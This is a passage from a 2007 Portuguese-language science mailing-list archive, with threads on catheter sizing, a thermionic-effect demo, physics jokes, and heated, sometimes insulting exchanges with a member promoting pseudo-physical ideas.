Basicamente, 3 French = 1 mm, ou 1 French = 1/3 mm, ou ainda, para
saber o diâmetro, em milímetros, divida a circunferência em French por
três.

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Re: Fw: Medida de diâmetro
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/05/2007 17:53

Olá César,

agradeço às informações (esta e efeito térmico/diodo). Valeu!
[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "César A. K. Grossmann" <cesarakg@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 31 de maio de 2007 16:02
Assunto: [ciencialist] Re: Fw: Medida de diâmetro


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Help! Quem conhece essa medida Fr ?

Pesquisei no Google e cheguei à conclusão que se trata de uma escala
para medição de cateteres, que relaciona a circunferência ao diâmetro,
diretamente:

http://www.texloc.com/closet/cl_french_scale.html
http://en.wikipedia.org/wiki/French_catheter_scale
http://en.wikipedia.org/wiki/French_catheter_scale_chart

Basicamente, 3 French = 1 mm, ou 1 French = 1/3 mm, ou ainda, para
saber o diâmetro, em milímetros, divida a circunferência em French por
três.

[]s
--
César A. K. Grossmann



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SUBJECT: Re: [ciencialist] Re: Fw: Medida de diâmetro
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/05/2007 18:23

Ah! Ia me esquecendo! Para estudar o efeito termelétrico e o efeito diodo não é necessário construir um diodo como o fez o aluno da unicamp. Encontrei uma solução bem mais simples (que estou até discutindo com colegas de outra lista específica para eletrônica). A solução é usar uma lâmpada de dois filamentos independentes de uso automotivo (optei pela OSRAM 7528 - 12V - 21W e 5W). Um dos filamentos servira de filamento e catodo ao mesmo tempo e o outro filamento servirá de placa.
Coloquei o esquema em:
http://www.feiradeciencias.com.br/provisorio/efeito_termionico_OSRAM.jpg

Coloquei o esquema do Van der Léo em:

http://www.feiradeciencias.com.br/provisorio/VanderLeo.jpg

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
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De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 31 de maio de 2007 17:53
Assunto: Re: [ciencialist] Re: Fw: Medida de diâmetro




SUBJECT: Re: [ciencialist] Re: Fw: Medida de diâmetro
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/05/2007 18:57

PS: Sei que o nome do homem não é Van DER Graaff e sim Van de Graaff. Esse DER faz parte da brincadeira do Van DER Leo, que depois sofrerá transformação para Van DER Leia = Vanderléia (minha vizinha!).

[]'
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Luiz Ferraz Netto [Léo]
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De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 31 de maio de 2007 18:23
Assunto: Re: [ciencialist] Re: Fw: Medida de diâmetro


Ah! Ia me esquecendo! Para estudar o efeito termelétrico e o efeito diodo não é necessário construir um diodo como o fez o aluno da unicamp. Encontrei uma solução bem mais simples (que estou até discutindo com colegas de outra lista específica para eletrônica). A solução é usar uma lâmpada de dois filamentos independentes de uso automotivo (optei pela OSRAM 7528 - 12V - 21W e 5W). Um dos filamentos servira de filamento e catodo ao mesmo tempo e o outro filamento servirá de placa.
Coloquei o esquema em:
http://www.feiradeciencias.com.br/provisorio/efeito_termionico_OSRAM.jpg

Coloquei o esquema do Van der Léo em:

http://www.feiradeciencias.com.br/provisorio/VanderLeo.jpg

aquele abraço,
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Luiz Ferraz Netto [Léo]
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De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 31 de maio de 2007 17:53
Assunto: Re: [ciencialist] Re: Fw: Medida de diâmetro




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SUBJECT: Re: [ciencialist] Re: Fw: Medida de diâmetro
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/05/2007 19:35

Vichi! Misturei os e-mails e assuntos ... bem, please, ajeitem ai! :-))

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De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 31 de maio de 2007 18:57
Assunto: Re: [ciencialist] Re: Fw: Medida de diâmetro


PS: Sei que o nome do homem não é Van DER Graaff e sim Van de Graaff. Esse DER faz parte da brincadeira do Van DER Leo, que depois sofrerá transformação para Van DER Leia = Vanderléia (minha vizinha!).

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De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 31 de maio de 2007 18:23
Assunto: Re: [ciencialist] Re: Fw: Medida de diâmetro


Ah! Ia me esquecendo! Para estudar o efeito termelétrico e o efeito diodo não é necessário construir um diodo como o fez o aluno da unicamp. Encontrei uma solução bem mais simples (que estou até discutindo com colegas de outra lista específica para eletrônica). A solução é usar uma lâmpada de dois filamentos independentes de uso automotivo (optei pela OSRAM 7528 - 12V - 21W e 5W). Um dos filamentos servira de filamento e catodo ao mesmo tempo e o outro filamento servirá de placa.
Coloquei o esquema em:
http://www.feiradeciencias.com.br/provisorio/efeito_termionico_OSRAM.jpg

Coloquei o esquema do Van der Léo em:

http://www.feiradeciencias.com.br/provisorio/VanderLeo.jpg

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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 31 de maio de 2007 17:53
Assunto: Re: [ciencialist] Re: Fw: Medida de diâmetro




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SUBJECT: Bobeiras
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 02:09

Princípio da Exclusão de Pauli:
"...nho da Viola não é ...sta."
"Madre ...na foi canonizada, mas não virou são-...na."
"Levou uma ...na por tentar des...ficar o ambiente."

Lei do mínimo esforço:
"Ai, que pregui..."

Princípio da incerteza:
"... ou não."

Efeito Volta:
"Hasta la vista, baby!"
"Querida! Quem é esse homem na sua cama?"

Teorema da incompletude:
"c.q.d."

Radiação de corpo negro:
"E eis que o Fuscão Preto bateu na Usina de Angra I..."

Conservação do momento:
"Olha o passarinho!"
"Bem vindo à nossa central de relacionamentos. Sua chamada é muito
importante para nós. Aguarde um momento na linha para que falar com um
de nossos atendentes..."

Teoria da relatividade:
"Você que pensa!"
"Vai doer mais em mim do que em você."

Segunda lei da termodinâmica:
"Em um sistema isolado, a entropja te,de a aum.ntar c834 5300.j@$%"

[]s,

Roberto Takata



SUBJECT: De cabeça pra baixo.
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 07:23

Quanto tempo uma pessoa sobrevive, estando "pendurada" de cabeça pra
baixo? O que ela sentiria, com o passar do tempo?

Não, não vou me pendurar, nem pendurar ninguém de cabeça pra baixo. Só
bateu a curiosidade, após ouvir um desses "causos" populares em que
ninguém questiona coisa alguma, e todo mundo acha que é médico :).


Gil


SUBJECT: Re: [ciencialist] De cabeça pra baixo.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/06/2007 08:14

Morro aqui em Barretos e meu antípoda, no Japão, está de 'cabeça para baixo' (ou eu, vá saber!). Não há registro de mortes pelo fato de ficar, assim, de cabeça para baixo! Assim, detonado o 'causo popular'.
:-)

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Gil" <nanolink01@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 1 de junho de 2007 07:23
Assunto: [ciencialist] De cabeça pra baixo.


Quanto tempo uma pessoa sobrevive, estando "pendurada" de cabeça pra
baixo? O que ela sentiria, com o passar do tempo?

Não, não vou me pendurar, nem pendurar ninguém de cabeça pra baixo. Só
bateu a curiosidade, após ouvir um desses "causos" populares em que
ninguém questiona coisa alguma, e todo mundo acha que é médico :).


Gil


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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 09:04

Olá Zé!

>>> Eu não tenho nenhuma física, Ferrari. Mas a que eu
estudei está nas pratelerias das bibliotecas.
Sirva-se. ;)

--- se está apenas nas parteleiras e não na sua
cabeça, como sabe dela?


sinceramente
ferrari









--- José Carlos Antonio <profjc2003@yahoo.com.br>
escreveu:

> Eu não tenho nenhuma física, Ferrari. Mas a que eu
> estudei está nas
> pratelerias das bibliotecas. Sirva-se. ;)
>
> Abraços,
> JC
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...> escreveu
> >
> > Olá Ze!
> >
> > Zé >>> Ué, a Física diz que o espaço é vazio,
> Ferrari?
> > Será que estudei a física errada, mudaram a física
> ou
> > mudaram o espaço?
> >
> > --- Ué, pode ser sim. Vamos investigar. Me diga,
> na
> > sua fisica, o espaço é feito de que?
> >
> >
> >
> > sinceramente
> > ferrari
> >
> > EXPERIMENTE XIXI
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SUBJECT: Re: [ciencialist] De cabeça pra baixo.
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/06/2007 09:29

>
>Quanto tempo uma pessoa sobrevive, estando "pendurada" de cabeça pra
>baixo? O que ela sentiria, com o passar do tempo?
>Não, não vou me pendurar, nem pendurar ninguém de cabeça pra baixo. Só
>bateu a curiosidade, após ouvir um desses "causos" populares em que
>ninguém questiona coisa alguma, e todo mundo acha que é médico :).
>

Já ouví falar em gente que dorme de cabeça pra baixo, como morcego. Dizem
que é bom pra saúde e que viverão mais fazendo isso. Então uma pessoa pode
ficar de ponta-cabeça durante umas 8 horas sem problemas :-)

Isso aí me parece mais um "estudo" de algum pseudo-cientista. Como daquela
gente que bebe a própria urina dizendo esta é rica em nutrientes, que seria
um "presente divino" que jogamos fora! :-) Tem até uma "seita" de bebedores
de mijo aqui no Brasil.

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 09:38

Homero,

Já te disse, te quero bem.
E se vc se incomoda com minha loucura,
com todo o respeito:
é problema seu.
Sou apenas sincero, só isto.
Sua lucidez, por exemplo, não me incomoda.

Fique em paz!


Sinceramente
Ferrari




--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Ferrari
>
> Ferrari: " E dai?
> E dai?
> E dai?
> E dai?
> E dai?
> E dai?
> E dai?"
>
> He, he, he..:-) E daí que existem centenas, milhares
> de malucos pelo mundo a alegar coisas sem pé nem
> cabeça como você, coisas que são contrárias as que
> você prega, e nenhum deles, como você, é minimamente
> relevante ou pode apresentar evidências de suas
> alegações..:-)
>
> Alguns, muitos, estão internados em hospícios, com a
> certeza de terem "encontrado a verdade", outros
> estão enchendo o saco em listas de discussão,
> tentando converter os "malvados e cegos cientistas
> ateus", muitos fundaram igrejas, seitas e cultos, e
> estão ganhando rios de dinheiro. Todos tem em comum
> a certeza de terem a "verdade verdadeira, óbvia, que
> só é negada pelos tolos que se recusam a ver" e a
> arrogância de pensar que sabem mais que todo resto
> da humanidade e que todos os cientistas juntos..:-)
>
> Também são muito chegados a "jogos de palavras",
> distorcendo termos e definições, afrouxando seu
> rigor, para confundir leigos e pessoas mais
> desavisadas e ingenuas (não é o caso da maioria da
> lista, você está perdendo tempo aqui, o seu e o
> nosso..:-).
>
> Você quer fundar um religião, Ferrari, não discutir
> física. Sua alegação de que a "ciência estuda deus"
> é de uma tolice simplificantemente atróz, de dar
> pena (bem, não tenho pena de você, na verdade, você
> faz por merecer toda a gozação..:-).
>
> Ferrari: "a) o fato do takata não conseguir dividir
> o carro, por
> exemplo, é uma evidencia da matéria indivisivel.
> b) o fato do fluxo se eletrons pelo fio não ser como
> gotas d´agua por um cano oco, é evidencia de que a
> matéria pulsa
> c) o fato deste monitor de computador ai na sua
> frente
> não estar dentro da sua cabeça, é evidencia de que o
> mapa não é o território"
>
> Um excelente exemplo da conversa de doidos que você
> tenta empurrar pela garganta da lista. O Takata
> demonstrou com precisão seu erro no caso do carro e
> suas partes, usando termos e conceitos bem definidos
> e precisos, mas você insiste em que ele "não
> conseguiu", apegado a sua frouxidão lógica e jogos e
> mais jogos de palavras. A matéria é divisivel, é
> separada por espaço, e espaço é uma propriedade
> deste universo, como o tempo. Essa é uma descrição
> científica do nosso ambiente que explica bem os
> fenômenos observados. O termo "divisível" está
> aplicado aqui como a propriedade de encontrar
> diferentes unidades dentro de um elemento mais
> abrangente.
>
> O que você tenta fazer, por outro lado, é confundir
> essas definições e fazer "poesia", que pensa ser uma
> forma de "grandes revelações". Não, é, é só tolice
> mesmo.
>
> O fluxo de elétrons, como explicado por muitos na
> lista, é um fenomeno mais bem explicado e definido
> pelo eletromagnetismo que por suas tolices sobre
> "pulso" da matéria. Você na verdade nem entende
> direito o conceito de pulso, como não entende a
> fórmula E=mc2, mas pensa poder dar palpite mesmo
> assim.
>
> O fato do monitor não estar na minha cabeça, NÃO
> significa que o mapa não é o território, uma frase
> de impacto que você leu em algum lugar, gostou, e
> pensa que é a "resposta final para os grandes
> mistérios do unvierso". Vai ser fã do Paulo (arghhh)
> Coelho assim no jardim de infância..:-)
>
> Ferrari: "c) o que a fisica chama de particula cheia
> no espaço vazio é fruto da intelectualização da
> realidade"
>
> Qua, qua, qua..:-) Cada vez tenho mais certeza de
> que tira suas frases do Gerador de Frases
> Aleatórias..:-)
>
> Ferrari: "vc ferrari, seu pecador, irrecuperavel,
> analfabeto de fisiques, insiste em achar que sabe
> mais
> do que nós! Como vc, ferrari, um bobo da corte, ousa
> discordar de nós... e pior... apontar os nossos
> erros... os nossos enganos... e ainda falar que o
> nosso rei Stephen Hawking está nu?! Mas que heresia!
> Guardas da tabela periódica! Mandem já este infeliz
> pra fogueira de tubos de ensaio! "
>
> Você quer mesmo fundar uma religião, não
> Ferrari?..:-) Pena, aqui na lista vai conseguir no
> máximo um ou dois adeptos (e acho que não vão querer
> pagar dízimo.:-)
>
> Não precisamos mandar você para a fogueira, eu me
> contentaria em ve-lo ir morar em regiões sem nenhum
> acesso a ciência, tentando "modificar a realidade a
> partir da conscientição humana" ou coisas do tipo, e
> com base em seus profundos e verdadeiros
> conhecimentos sobre o universo (deus,
> inclusive..:-). Talvez deseje morar em alguma região
> da África, sem acesso a todo conhecimento que essa
> tola ciência e seus tolos cientistas produziram em
> dois ou tres séculos, e viver os mesmos 30 anos (ou
> menos) de nossos antepassados, com tudo o que isso
> representa..:-)
>
> Eu ficaria feliz em ve-lo implorar (ou morrer) pelo
> conhecimento que despreza com tanta arrogância e
> pretensão..:-)
>
> E, fala sério, acha mesmo que está "apontando os
> erros e enganos de todos os cientistas e mentes do
> mundo, nos últimos 3 séculos"??!!??!?! Se pensa
> mesmo isso, é mais doido do que eu pensaria ser
> possível..-) Em geral, crackpots e "messias com a
> verdade verdadeira" se fixam em uma ou no máximo
> duas personalidades (como Einstein ou Galileu), para
> refutar, e não alegam ser capazes de demonstrar os
> erros de TODOS os cientistas do mundo em todas as
> épocas..:-)
>
> Fala sério, Ferrari..:-)
>
> Homero
>
> PS: Ferrari: " Homero, o que lhe incomoda é que tudo
> o que defendo, diz nas entrelinhas que "deus existe"
> e é isto que realmente lhe incomoda. "
>
> Há milhões de pessoas alegando a mesma coisa, sem
> precisar de entrelinhas, defendendo a existência de
> milhares de diferentes deuses, ETs, pés grandes, com
> milhares de diferentes "evidências" (tantas quantas
> as que dizem que a astrologia é real, que duendes
> existem, que ETs as abduziram, etc..:-). Se fosse me
> incomodar com isso, não faria mais nada na vida..:-)
> Embora me espante que alguém possa ser tão cego e
> fanático assim, não me incomoda em nada sua fé em
> seu deus, Ferrari..:-)
>
>
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
>


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SUBJECT: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 09:45

Olá Marcelo!

Marcelo >>> Eu acho que o que incomoda o Ferrari eh
justamente a irrelevancia das ideias dele.

--- Marcelo, me responda uma coisa, se é tão
irrelevante assim, porque vc se dá ao luxo de gastar
seu relevante tempo lendo-as?


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: O Xadrez do Takata
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 09:51

Tá vendo, Takata,

Etá encosto brabo!
Nock, nock, nock, tem alguém ai?
E o mais incrivel é que vc se orgulha de se comportar
como o R2D2. Não é?


sinceramente
ferrari








--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > É isto mesmo! Sou apenas o Ferrari tentando falar
> > sobre a natureza...
>
> ---------------
> Considere a seguinte reação de decaimento de
> urânio-235:
>
> U-235 + 1 n = Rb-90 + Cs-143 + 3 n
>
> A massa do urânio-235 (em unidades de massa atômica)
> é 235,0439242; do
> rubídio-90, 89,9148; do césio-143, 142,9273 e do
> nêutron, 1,0086.
>
> Considere q uma unidade de massa atômica equivale a
> 1,660538782 x
> 10^-27 kg e que a velocidade da luz no vácuo é de
> 299.792.458 m.s-1.
> Qual o valor da energia - em joules - gerad[a] por
> essa reação?
>
http://br.groups.yahoo.com/group/ciencialist/message/63164
> --------------------
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: Fw: Ondas termicas...
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 09:56

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Quem tem algo sobre isso?

O céu noturno por estes meses apresenta um espetáculo muito
interessante. Para quem não tem telescópio, tem ao oeste, logo depois
do poente do Sol, os planetas Vênus e Saturno (na verdade, entre a
direção Nordeste e Oeste). E a Leste, tem Júpiter. Com a exceção da
Lua (que foi "lua azul" ontem, 31/5, ou seja, a segunda lua cheia do
mês), são os objetos mais brilhantes no céu noturno.

Sem telescópio dá para ver espetáculos como o desta foto, a Lua
crescente próxima a Vênus:
http://antwrp.gsfc.nasa.gov/apod/ap070523.html

Com telescópio, a conversa é outra. Dá para ver coisas mais incríveis
ainda. Agora, se você trabalha em um observatório e tem um telescópio
de 20 polegadas (50 cm) à disposição, dá para ver coisas fantásticas,
como Saturno e a nossa Lua, juntos:
http://antwrp.gsfc.nasa.gov/apod/ap070526.html

Para as 20hs do dia de hoje, primeiro de junho, o céu terá o aspecto
que pode ser conferido no link abaixo (coordenadas de São Paulo):

http://tinyurl.com/2ezkzq ou
http://www.heavens-above.com/skychart.asp?Y=2007&M=6&D=1&H=20&N=0&Lat=-23.533&Lng=-46.617&Loc=S%E3o+Paulo&TZ=EBST&SL=on&SN=on&BW=0&SZ=700

A Lua estará próxima de Júpiter (um belo evento para observar e
registrar), e no horizonte, a oeste, Vênus estará se pondo. Se alguém
conseguir olhar para o oeste às 18hs, poderá ver o planeta Mercúrio.

Agora, falando do que os candidatos a astrônomos amadores viram, é
difícil saber do que se trata, só por uma referência vaga como "uma
estrela que ninguém viu antes". Uma boa dica é anotar o horário que a
tal estrela subiu no horizonte, a direção aproximada (Leste, Nordeste,
Sudeste, etc.) e onde você estava quando observou a tal estrela. Quem
quer se tornar um astrônomo amador medianamente competente deve saber
mais aind que isto, deve identificar pelo menos as constelações do
zodíaco, além de algumas mais notáveis, como Órion (esta é fácil), e o
Cruzeiro do Sul (outra fácil), por exemplo.

Sem maiores dados, tudo que dá para especular é que se trata do
planeta Júpiter, que esta noite estará ao lado da Lua.

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/06/2007 10:08

De Ferrari:
# Olá Zé!

>>> Eu não tenho nenhuma física, Ferrari. Mas a que eu
estudei está nas pratelerias das bibliotecas. Sirva-se. ;)

# --- se está apenas nas parteleiras e não na sua cabeça, como
sabe dela?


Léo: Ferrari, experimente ler a mensagem do Zé e faça um esforço para entendê-la. Vou tentar traduzir para sua mentalidade aquela mensagem do Zé:

Lá está escrito "que eu estudei"; isso significa que ele pegou o livro, assinou o registro, levou para casa, abriu o livro sobre a mesa, sentou-se à sua frente com bloco de papel e lápis e começou a ler as letras e símbolos impressos no livro com título de FÍSICA. Ele foi absorvendo as informações apresentadas no livro, anotando algo que lhe pareceu de bom destaque, raciocinou sobre aquilo, entendeu o desenvolvimento matemático exposto, fez exercício sobre o tema, verificou que houve aprendizagem e se deu por satisfeito em saber algo mais sobre aquele tema. Agora ele tem um conhecimento a mais incorporado em sua memória e sempre à disposição para quando o necessitar. Ele devolveu o livro e até recomendou que vc deveria tb utilizá-lo, desse modo, ambos poderiam argumentar sobre o texto em questão e até desenvolve-lo, melhorando para ambos a aprendizagem.

Isso é o que está escrito na mensagem. É o que nós todos, exceto vc, entendemos.
Ficou claro agora? Percebeu como sua resposta não fez sentido algum? Vc não acrescentou absolutamente nada, em nada.

aquele abraço, (preciso explicar qual é, aqui, o significado desse "aquele"?)

Léo
+++++++++++++++++++++++


SUBJECT: Re: O Xadrez do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 11:32

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Tá vendo, Takata,
>
> Etá encosto brabo!
> Nock, nock, nock, tem alguém ai?
> E o mais incrivel é que vc se orgulha de se comportar
> como o R2D2. Não é?

---------------
Considere a seguinte reação de decaimento de urânio-235:

U-235 + 1 n = Rb-90 + Cs-143 + 3 n

A massa do urânio-235 (em unidades de massa atômica) é 235,0439242; do
rubídio-90, 89,9148; do césio-143, 142,9273 e do nêutron, 1,0086.

Considere q uma unidade de massa atômica equivale a 1,660538782 x
10^-27 kg e que a velocidade da luz no vácuo é de 299.792.458 m.s-1.
Qual o valor da energia - em joules - gerad[a] por essa reação?

http://br.groups.yahoo.com/group/ciencialist/message/63164
--------------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/06/2007 12:10

Divino Mestre:

As moçoilas que infelizmente não adentram êsse recinto iluminado e sob sua égide, em as havendo seriam poetizas.

sds.,
silvio
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 30, 2007 6:34 PM
Subject: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA


De: "Silvio Cordeiro"

>Prezado SSilva:

>Procure entender: Embora raiando à metafísica, o jovem Ferrari é um poeta: E não está desgarrado aqui: suas provocações provocam pensares....

Discordo; está desgarrado aqui sim!
Discordo, não provoca pensares e sim pesares!
Discordo, não é um poeta. "Poetas" são as jovens mocinhas da atualidades.

[]'

Léo






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/06/2007 14:23

Olá Ferrari

Ferrari: "Marcelo, me responda uma coisa, se é tão
irrelevante assim, porque vc se dá ao luxo de gastar
seu relevante tempo lendo-as?"

Porque somos educados, porque esta é uma lista de ciências e presumimos que as mensagens, mesmo as suas, versarão sobre ciências, porque somos abertos a qualquer novo conceito ou idéia, e pensamos, inicialmente, que você poderia apresentar algumas, enfim, diversos motivos.

Nenhum deles se confirmou, claro, mas pelo menos o primeiro ainda vale, continuamos educados..:-)

Mas será por pouco tempo, e logo abandonremos de vez a poesia irrelevante que nos apresenta, e nos deteremos em ciência e coisas que façam sentido.

Homero



----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 01, 2007 9:45 AM
Subject: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA


Olá Marcelo!

Marcelo >>> Eu acho que o que incomoda o Ferrari eh
justamente a irrelevancia das ideias dele.

--- Marcelo, me responda uma coisa, se é tão
irrelevante assim, porque vc se dá ao luxo de gastar
seu relevante tempo lendo-as?

sinceramente
ferrari

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SUBJECT: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/06/2007 18:20

De: "Ferrari"

#Olá Marcelo!

Marcelo >>> Eu acho que o que incomoda o Ferrari eh
justamente a irrelevancia das ideias dele.

--- Marcelo, me responda uma coisa, se é tão
irrelevante assim, porque vc se dá ao luxo de gastar
seu relevante tempo lendo-as?#

Educação meu caro! Educação ...

[]'
Léo




SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/06/2007 18:22

Não, são "poetas" ... e Viva Zapatão!

[]'
Léo
De: "Silvio Cordeiro"

Divino Mestre:

As moçoilas que infelizmente não adentram êsse recinto iluminado e sob sua égide, em as havendo seriam poetizas.

sds.,
silvio



SUBJECT: RE: [ciencialist] Bobeiras
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br
DATE: 01/06/2007 19:04

Ótimas!!!
Estou enviando p/o roseta... mais liberal.
Vc não vai avacalhar agora, vai Takata?
Ninguém é de ferro, sabia? Nem mesmo vc...:)
E nem vou lhe perguntar o que as bobeiras têm que ver com o escopo...
abr/M.


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Bobeiras
>Date: Fri, 01 Jun 2007 05:09:20 -0000
>
>Princípio da Exclusão de Pauli:
>"...nho da Viola não é ...sta."
>"Madre ...na foi canonizada, mas não virou são-...na."
>"Levou uma ...na por tentar des...ficar o ambiente."
>
>Lei do mínimo esforço:
>"Ai, que pregui..."
>
>Princípio da incerteza:
>"... ou não."
>
>Efeito Volta:
>"Hasta la vista, baby!"
>"Querida! Quem é esse homem na sua cama?"
>
>Teorema da incompletude:
>"c.q.d."
>
>Radiação de corpo negro:
>"E eis que o Fuscão Preto bateu na Usina de Angra I..."
>
>Conservação do momento:
>"Olha o passarinho!"
>"Bem vindo à nossa central de relacionamentos. Sua chamada é muito
>importante para nós. Aguarde um momento na linha para que falar com um
>de nossos atendentes..."
>
>Teoria da relatividade:
>"Você que pensa!"
>"Vai doer mais em mim do que em você."
>
>Segunda lei da termodinâmica:
>"Em um sistema isolado, a entropja te,de a aum.ntar c834 5300.j@$%"
>
>[]s,
>
>Roberto Takata
>
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SUBJECT: Me fez lembrar o Ferrari..:-)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 22:36

Olá pessoal

Eu estava re-lendo um artigo no blog Dragão na Garagem, e encontrei
esta pérola, que me fez lembrar o Ferrari. Alias, parece que foi
escrito diretamente para ele.

Homero
______________________________________________
Elitismo na Ciência

Stephen Dutch é geólogo e uma ativista cético. Em suas constantes
discussões sobre ciência, ceticismo, evolucionismo e etc, Dutch recebe
muitos emails irados como esse:

"Estou cansado dos que se apontam como experts e de sua atitude
arrogante de quem sabe tudo. Porque vocês não ficam fora de coisas das
quais não sabem nada? Vocês fazem parecer que sabem tudo e o resto de
nós é estúpido"


Agora Stephen Dutch jogou o pano:

"Já vi esse script antes. Neste ponto eu deveria assumir uma
postura humilde e dizer 'Tudo bem... nós não queríamos fazê-lo se
sentir mal. Você é mesmo uma boa pessoa e um ser humano valioso e suas
opiniões são importantes'.

Estou cansado desse jogo.


* Nós não somos auto-intitulados experts. Nós somos experts de
verdade.

* Não é arrogância falar sobre o que você sabe
profissionalmente. É arrogância rejeitar a opinião de um expert sem
possuir expertise para tal.

* Se ouvir os experts que dizem que você está errado faz você
se sentir mal ou estúpido, este é um problema seu, não nosso. Procure
um analista e trabalhe a sua auto-estima. Se você pensa que isso
machuca seu ego tente passar meses trabalhando em um artigo científico
e depois vê-lo ser rejeitado; algo por que passam os verdadeiros
experts de vez em quando.

* Nós não sabemos tudo mas sabemos mais à respeito de nossa
área de conhecimento do que outras pessoas, especialmente pessoas sem
treinamento nenhum.

* A não ser que você possua evidências verdadeiras que
suportem sua opinião, elas não contam.

* Se você ouviu algo que conflita com o que você acha que sabe
e não se importou em checar a informação então você não deveria se
sentir estúpido. Você é estúpido.

* Se você quer discutir com experts mas não quer investir
tempo e esforço para se tornar um expert, você não é apenas estúpido.
Você é preguiçoso também.

* Se você pensa que estou desreipetando você, você está certo.
Eu não tenho nenhum respeito por quem é desinformado e que fica
nervoso quando alguém o contradiz, mas é preguiçoso demais para se
informar e covarde demais para suportar rejeição, crítica e a
possibilidade de mudar suas conviccções. Você não é uma boa pessoa.
Ninguém que é preguiçoso e covarde pode ser chamado de "bom".

* De onde você tirou a idéia de que é tão valioso? Há seis
